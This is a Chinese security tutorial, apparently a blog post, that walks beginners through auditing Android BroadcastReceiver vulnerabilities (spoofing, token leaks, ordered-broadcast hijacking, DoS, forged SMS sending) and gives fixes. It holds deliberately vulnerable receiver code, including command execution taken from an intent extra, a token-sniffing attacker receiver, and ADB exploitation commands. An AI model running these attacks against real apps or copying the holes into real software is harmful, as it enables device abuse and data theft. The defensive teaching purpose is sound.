别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解
别让广播出卖你!Android BroadcastReceiver 漏洞排查全流程详解
原创 火力猫 季升安全 2025-06-06 00:15
🚨Android BroadcastReceiver 漏洞排查全流程指南
🔐 面向 Android 安全新手,从 0 到 1 手把手教你排查 BroadcastReceiver 的安全风险!
✅ 什么是 BroadcastReceiver?
BroadcastReceiver(广播接收器)是 Android 四大组件之一,专门用来接收和响应广播消息
,比如系统通知、电量变化、网络状态变化,或者 App 自己发的“登录成功”“支付完成”等消息。
它分为两种注册方式:
类型 | 注册方式 | 生命周期 |
---|---|---|
静态注册 | 写在 AndroidManifest.xml 中 | App 没打开也能接收 |
动态注册 | 在代码中 registerReceiver() | App 打开期间才生效 |
🔎 核心方法是
onReceive()
,广播发出后就会触发这个函数运行你写的逻辑。问题就出在这里:
– 如果别人能发广播给你(exported=true)
-
而你在 onReceive 里执行了敏感操作(发短信、删库、调用命令等)
-
又没有校验广播来源或内容
-
动态注册详情 👉 新手也能看懂的 Android 动态广播机制详解
那攻击者就能伪造广播“骗你执行”——这就是广播欺骗、劫持、信息泄露等安全问题的根源。
✅ BroadcastReceiver组件的常见结构
📌 Manifest 中的注册结构示意:
<receiver android:name=".MyReceiver"android:exported="true"> <intent-filter> <action android:name="com.example.MY_ACTION" /> </intent-filter></receiver>
📌 BroadcastReceiver 的典型结构示意:
// 1️⃣ 声明广播接收器类,继承 BroadcastReceiverpublic class MyReceiver extends BroadcastReceiver{// 2️⃣ 重写 onReceive 方法(广播的主要处理逻辑入口)@Overridepublic void onReceive(Context context, Intent intent){// 3️⃣ 获取广播 action 或参数 String action = intent.getAction();// 4️⃣ 判断是否是预期的 actionif ("com.example.MY_ACTION".equals(action)) {// 5️⃣ 执行对应的处理逻辑(如启动服务、记录日志等) } }}
🧭 Android 广播组件排查 3 步法
第一步:👀 快速识别有哪些广播接收器
🛠 Jadx反编译查看:
打开 AndroidManifest.xml
,查找所有
组件:
<receiver android:name=".DangerousReceiver"> <intent-filter> <action android:name="com.vuln.EXEC_CMD" /> </intent-filter></receiver>
✅ 看点:
有没有 android:exported=”true”(或没写,Android11 以下默认也是 true) – 12及以上必须显型说明是True或False
有没有设置 android:permission=”…”(有则较安全)
🛠 Jadx全局搜索关键词:
|
|
|
---|---|---|
onReceive |
|
|
registerReceiver |
|
|
sendBroadcast |
|
|
sendOrderedBroadcast |
|
|
abortBroadcast |
|
|
Runtime.getRuntime().exec |
|
|
getStringExtra
getExtras |
|
|
SmsManager.sendTextMessage |
|
|
✅ 排查建议:
搜索结果中重点查看是否出现在 BroadcastReceiver 中,尤其是 onReceive() 方法内部。注意判断是否有 getStringExtra()、intent.getAction() 等字段提取但未做校验。如出现 exec()、发短信等敏感操作,务必检查是否是被广播触发、是否加了权限控制。
第二步:🔍 分析每个接收器是否存在风险
📌 漏洞 ①:广播欺骗(Broadcast Spoofing)
✅ 风险描述:
攻击者伪造广播 Intent,触发敏感行为(如执行命令、发短信、启动服务)
☠️ 漏洞代码示例:
public class DangerousReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){ String cmd = intent.getStringExtra("cmd");try { Runtime.getRuntime().exec(cmd); // ⚠️执行任意命令 } catch (Exception e) { e.printStackTrace(); } }}
⚙️ Manifest 配置(无权限限制 + 默认导出):
<receiver android:name=".DangerousReceiver"> <intent-filter> <action android:name="com.vuln.EXEC_CMD" /> </intent-filter></receiver>
💥 ADB 利用命令:
adb shell am broadcast -a com.vuln.EXEC_CMD --es cmd "touch /sdcard/pwned.txt"
📌 特殊适用条件:
-
目标系统 Android 11 以下(12+ 默认要求 exported,查看是否有明确 exported = true
) -
Receiver 没设置权限
-
触发敏感 API(如 exec)
📌 漏洞 ②:信息泄露(Broadcast Leak)
✅ 风险描述:
应用通过普通广播(sendBroadcast(Intent))发送敏感数据
,未对广播添加权限控制,导致任何安装在设备上的应用都能监听该广播并窃取敏感信息
。
⚠️ 有风险的配置和源码示例
发送方(泄露广播)代码示例:
Intent i = new Intent("com.app.LOGIN_RESULT"); //com.app.LOGIN_RESULT 具体actioni.putExtra("token", "user-token-123456");sendBroadcast(i); // ⚠️ 未指定权限,任何App均可接收
-
这段代码中,调用了sendBroadcast
,且没有传入权限参数。 -
这样发送的广播是公开的,任何App都能通过注册相同action
监听到。 -
广播中附带了敏感字段token
,暴露了用户信息。
Manifest 中未限制导出:
<receiver android:name=".SensitiveReceiver" android:exported="true"> <intent-filter> <action android:name="com.app.LOGIN_RESULT" /> </intent-filter></receiver>
- 如果广播接收器本身导出(exported=true
),意味着其他App也能发送该广播,增加风险。
👾 攻击者需要做什么?
-
攻击者需要写一个恶意App
,并安装到目标设备上。 -
恶意App在AndroidManifest.xml
中声明与目标App广播相同的action
,并注册对应的BroadcastReceiver
来监听广播。
攻击者的AndroidManifest.xml
:
<receiver android:name=".Sniffer" android:exported="true"> <intent-filter> <action android:name="com.app.LOGIN_RESULT"/> </intent-filter></receiver>
攻击者的监听器代码:
public class Sniffer extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){ String leakedToken = intent.getStringExtra("token"); Log.d("LeakedToken", "获取到的Token: " + leakedToken);// 这里可以将数据上传到服务器或做其他恶意操作 }}
📱 是否可以通过 ADB 验证?
- 不完全可以。
因为信息泄露需要安装恶意App来注册监听广播
,普通的adb shell am broadcast
只能模拟发送广播,无法直接模拟监听行为。
但你可以用ADB检查目标App发送的广播:
adb shell dumpsys activity broadcasts
- 该命令可查看当前系统广播队列,但不能直接看到广播内容和接收者。
要验证监听效果,必须:
1. 编写一个简单监听广播的App(上面攻击者代码示例)。
-
安装到设备上。
-
运行目标App发送广播。
-
在监听App中观察日志(通过adb logcat
)确认是否接收到敏感数据。
📌 特殊适用条件:
-
目标App通过普通sendBroadcast发送广播
,且未设置接收权限
。 -
广播内包含敏感数据
(如Token、用户隐私信息等)。 -
攻击者能在设备安装恶意App并注册对应广播监听器。
✅ 修复建议:
- 发送广播时指定权限,只有拥有该权限的App才能接收广播:
sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅ 加权限
- 并在 AndroidManifest.xml
中声明权限:
<permission android:name="com.example.PRIVATE_PERMISSION"android:protectionLevel="signature" /><receiver android:name=".SensitiveReceiver"android:permission="com.example.PRIVATE_PERMISSION"> <intent-filter> <action android:name="com.app.LOGIN_RESULT"/> </intent-filter></receiver>
- 或者通过动态注册
的方式接收广播,限制注册范围,避免被其他App监听。
总结:
|
|
---|---|
|
|
|
|
|
|
|
|
如果需要
sendBroadcast(i, "com.example.PRIVATE_PERMISSION"); // ✅加权限
📌 漏洞 ③:有序广播劫持(Hijack)
✅ 风险描述:
攻击者通过设置更高优先级,拦截或阻断 sendOrderedBroadcast 发送的广播,修改或阻止原广播流程。
☠️ 恶意接收器配置:
<receiver android:name=".HijackReceiver"> <intent-filter android:priority="999"> <action android:name="com.app.SAFE_ACTION"/> </intent-filter></receiver>
public class HijackReceiver extends BroadcastReceiver{public void onReceive(Context context, Intent intent){ abortBroadcast(); // ⚠️中断后续 Receiver// 或 setResultData("hacked") 修改内容 }}
📌 特殊适用条件:
-
App 使用 sendOrderedBroadcast()
-
目标系统 Android 8及以下(适用旧版本兼容的系统可以关注一下)
✅ 修复建议:
-
尽量使用普通广播或 LocalBroadcastManager
-
验证广播来源 (getPackage
, getCallingUid
)
📌 漏洞 ④:拒绝服务(DoS)
✅ 风险描述:
攻击者持续高频发送广播,触发广播内耗时操作导致卡顿甚至 ANR 崩溃。
☠️ Receiver 示例:
@Overridepublic void onReceive(Context context, Intent intent){try { Thread.sleep(5000); // ⚠️耗时操作导致卡死 } catch (InterruptedException e) {}}
⚙️ Manifest 配置:
<receiver android:name=".SleepReceiver"> <intent-filter> <action android:name="com.vuln.DOS"/> </intent-filter></receiver>
💥 攻击命令:
for i in $(seq 1 50); do adb shell am broadcast -a com.vuln.DOS;done
✅ 修复建议:
- 广播中只做轻量操作,耗时处理转交 Service
📌 漏洞 ⑤:伪造广播触发发短信
☠️ 发短信接收器:
public class SmsReceiver extends BroadcastReceiver{@Overridepublic void onReceive(Context context, Intent intent){ String number = intent.getStringExtra("phone"); String text = intent.getStringExtra("msg"); SmsManager.getDefault().sendTextMessage(number, null, text, null, null); }}
⚙️ Manifest 无限制导出:
<receiver android:name=".SmsReceiver"> <intent-filter> <action android:name="com.vuln.SEND_SMS"/> </intent-filter></receiver>
💥 利用命令:
adb shell am broadcast -a com.vuln.SEND_SMS --es phone "13800000000" --es msg "你被黑了"
📌 特殊适用条件:
-
Android 11 以下系统(12+ 系统需显示声明 exported=true)
-
无权限限制或 export=true
第三步:🔐 安全修复 + 最佳实践清单
|
|
---|---|
|
android:exported="false" ,或加权限 |
|
sendBroadcast(intent, "com.app.PRIVATE_PERMISSION") |
|
sendOrderedBroadcast ,或校验来源 |
|
|
|
unregisterReceiver() |
✅ Manifest 修复示例:
<receiver android:name=".SafeReceiver"android:exported="false" />
或:
<receiver android:name=".SafeReceiver"android:permission="com.app.PRIVATE_PERMISSION"> <intent-filter> <action android:name="com.vuln.SAFE_ACTION"/> </intent-filter></receiver>
✅ 总结:三步完成 BroadcastReceiver 漏洞排查
-
识别接收器
:找出所有
注册,查看是否暴露 -
逐个分析风险
:是否执行敏感操作?是否加权限?是否验证 Intent? -
ADB 测试复现
:主动发广播,看是否能触发预期外行为